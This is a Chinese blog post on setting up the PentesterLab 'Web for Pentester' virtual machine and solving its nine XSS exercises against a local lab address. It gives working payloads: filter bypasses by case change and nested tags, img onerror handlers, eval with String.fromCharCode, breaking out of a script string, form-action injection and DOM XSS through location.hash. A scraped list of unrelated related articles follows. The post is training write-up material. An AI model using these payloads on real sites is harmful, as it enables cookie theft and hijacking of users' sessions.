web for pentester是国外安全研究者开发的的一款渗透测试平台,通过该平台你可以了解到常见的Web漏洞检测技术。

下载链接及文档说明:

http://pentesterlab.com/exercises/web_for_pentester/

【安装流程】

1. 虚拟机中挂载镜像。 下载好ios镜像之后,在虚拟机中创建新系统。

一路向下,创建虚拟系统。

点击启动,选择iso镜像,即可启动。

2. 设置网络。 关掉刚刚开启的系统。

点击设置,选择网络选项。如图所示设置网络

3.启动系统。输入ifconfig

可以看到我们虚拟机的IP地址为http://192.168.56.101/  不同的系统可能不一样

如果想让主机访问虚拟机,必须让主机和虚拟机在同一网段的范围内。

所以在主机上打开网络和共享中心,设置IP

根据我的虚拟机IP,我给本机设置的IP如下:

4.在主机浏览器输入虚拟机IP,我这儿是http://192.168.56.101/  ,即可通过HTTP访问虚拟机了!!

【XSS部分解析】

xss example1:

完全没有过滤或者编码,各种姿势的玩~

name=<script>alert('bb')</script>

xss example2:

从这里可以看到,过滤掉了<script>标签,我们试试大小写?

name=<Script>alert('bb')</sCript>

嗯,大小写绕过了

xss example3:

和上一张图一样,<script>标签被过滤掉了

先试试 name=la<script>la,输出hello,lala

name=<scri<script>pt>alert('bb')</scri</script>pt>

经测试这个在实例2也是可以用的

xss example4:

先输入最基本的测试name=<script>alert('bb')</script>

竟然输出error了!

换个标签? name=<img>?这次没error。补全补全~

name=<img src="1" onerror="alert('bb')">

成功了~~经测试这个payload在前三个应该也是可以的

xss example5:

先输入name=<img>正常显示

补全name=<img src="1" onerror="alert('bb')"> 输出error

发现alert被过滤掉了- -但是其他的函数还可以用,

比如说name=<img src="1" onerror="confirm('aa')">

查了一下文档,发现可以这样写

name=<img src="1" onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,97,39,41))">

这个世界真神奇

xss example6:

查看元素,发现输出竟然在script标签中。

$a="<img  src="1" onerror="alert('bb')">"

输出在script标签中的情况要首先闭合双引号"

name=fdf";alert($a);//

xss example7:

审查元素:

<script>
var $a= 'fdf&quot;;alert($a);//';
</script>

发现双引号被HTMLEncode了

- -还发现$a=''这个地方变成了单引号。。。稍微改一下

name=fdf';alert($a);//

成了

xss example8:

呦,终于长进了,变成存储型的了~

随便输出个名字<script>alert('a')</script>

审查元素

HELLO &lt;script&gt;alert('a')&lt;/script&gt;

<>被HTMLEncode了。

对于输出在HTML中的内容,这样的过滤已经是足够了。那么漏洞在哪儿呢?

经过答案的提醒- -我们发现form表的目标URL是可以被构造的

http://192.168.56.101/xss/example8.php/%22%20onsubmit=%22alert('1')

在提交的时候,会触发弹窗

xss example9:

- -最后一个你是在逗我么

审查元素

<script>
document.write(location.hash.substring(1));
</script>

随便改改就好了。。http://192.168.56.101/xss/example9.php#<script>alert('1')</script>

注:官方答案地址:http://files.pentesterlab.com/web_for_pentester/web_for_pentester.pdf

【web安全】第三弹:web攻防平台pentester安装及XSS部分答案解析的更多相关文章

  1. 【web安全】第二弹:XSS攻防中的复合编码问题

    最近一直在研究XSS的攻防,特别是dom xss,问题慢慢的迁移到浏览器编码解码顺序上去. 今儿被人放鸽子,无奈在KFC看了两个小时的资料,突然有种豁然开朗的感觉. 参考资料先贴出来: 1. http ...

  2. Java Web高性能开发(三)

    今日要闻: Clarifai:可识别视频中物体 最近几年,得益于深度学习技术的发展,谷歌和Facebook等企业的研究人员在图形识别软件领域取得了重大突破.现在,一家名为Clarifai的创业公司则提 ...

  3. 应用AXIS开始Web服务之旅(soap web services)——使用三种不同的语言访问创建的Web服务,分别是JAVA、VB、VC

    一. 介绍 本文并不是想介绍Web服务的原理.系统架构等,我们假设您已经了解了关于Web服务的一些基本的概念.原理等知识.本文主要是针对那些已经了解Web服务概念,但是还没有亲身体会Web服务所带来令 ...

  4. 转-Web Service中三种发送接受协议SOAP、http get、http post

    原文链接:web服务中三种发送接受协议SOAP/HTTP GET/HTTP POST 一.web服务中三种发送接受协议SOAP/HTTP GET/HTTP POST 在web服务中,有三种可供选择的发 ...

  5. Web Service进阶(三)HTTP-GET, HTTP-POST and SOAP的比较

    XML Web Service支持三种协议来与用户交流数据.这三种协议分别是: 1.SOAP:Simple Object Access Protocol 2.HTTP-GET 3.HTTP-POST ...

  6. 使用Micrisoft.net设计方案 第三章Web表示模式

    第三章Web表示模式 体系结构设计者在设计第一个作品时比较精简和干练.在第一次设计时,并清除自己做什么,因此比较小心谨慎.第二个作品是最危险的一个作品,此时他会对第一个作品做修饰和润色,以及把第一次设 ...

  7. ASP.NET MVC Web API 学习笔记---第一个Web API程序---近来很多大型的平台都公开了Web API

    1. Web API简单说明 近来很多大型的平台都公开了Web API.比如百度地图 Web API,做过地图相关的人都熟悉.公开服务这种方式可以使它易于与各种各样的设备和客户端平台集成功能,以及通过 ...

  8. [转]ASP.NET Web API(三):安全验证之使用摘要认证(digest authentication)

    本文转自:http://www.cnblogs.com/parry/p/ASPNET_MVC_Web_API_digest_authentication.html 在前一篇文章中,主要讨论了使用HTT ...

  9. ASP.NET Web API(三):安全验证之使用摘要认证(digest authentication)

    在前一篇文章中,主要讨论了使用HTTP基本认证的方法,因为HTTP基本认证的方式决定了它在安全性方面存在很大的问题,所以接下来看看另一种验证的方式:digest authentication,即摘要认 ...

随机推荐

  1. rsync服务安装

    1.  rsync是开源的项目,首先去官网上下载安装包.下载地址 http://rsync.samba.org/ftp/rsync/src/ 这边我下载的是3.1.0.tar.gz 解压到/opt/r ...

  2. PERCONA-TOOLKIT : pt-ioprofile分析IO情况

    针对IO密集型应用做系统调优的时候,我们通常都需要知道系统cpu  内存  io 网络等系统性能 和 使用率,结合应用本身的访问量,以及 mysql的性能指标来综合分析.比如说:我们将系统压力情况分为 ...

  3. lscpu lsblk lsscsi lspci

    [root@server1 ~]# lscpu Architecture: x86_64 CPU op-mode(s): -bit, -bit Byte Order: Little Endian CP ...

  4. qt QSqlQuery

    QT数据库QSqlQuery   SQL执行操作 QSqlQuery提供了对数据库记录的Select.Insert.Update.Delete操作. SELECT操作: QSqlQuery query ...

  5. linux gnome 安装

    首先先下载x-window的内核:apt-get -u install x-window-system-core:下载登录管理界面gdm或kdm:apt-get -u install gdm gdm- ...

  6. Android(java)学习笔记152:Android运行时异常“Binary XML file line # : Error inflating class”

    在原生Android下编译APK,编译没有问题,但是在运行的时候经常出现如标题所描述的异常:"Binary XML file line # : Error inflating class&q ...

  7. .net+easyui系列--按钮

    easyui提供了各种按钮样式,包括搜索.新增.保存.删除等 <a id="btn" href="#" class="easyui-linkbu ...

  8. C#后台验证身份证号码的一个方法

    简单的调用了正则表达式进行简单的验证,记下来留着以后备用 if ((!Regex.IsMatch(txtID.Text, @"^(^\d{15}$|^\d{18}$|^\d{17}(\d|X ...

  9. Servlet & JSP - Decorating Requests and Responses

    Servlet API 提供了四个包装类:ServletRequestWrapper.ServletResponseWrapper.HttpServletRequestWrapper.HttpServ ...

  10. 20160329javaweb之JSP -cookie入门

    一.什么是会话? •会话可简单理解为:用户开一个浏览器,点击多个超链接,访问服务器多个web资源,然后关闭浏览器,整个过程称之为一个会话. 会话过程中要解决的一些问题? •每个用户在使用浏览器与服务器 ...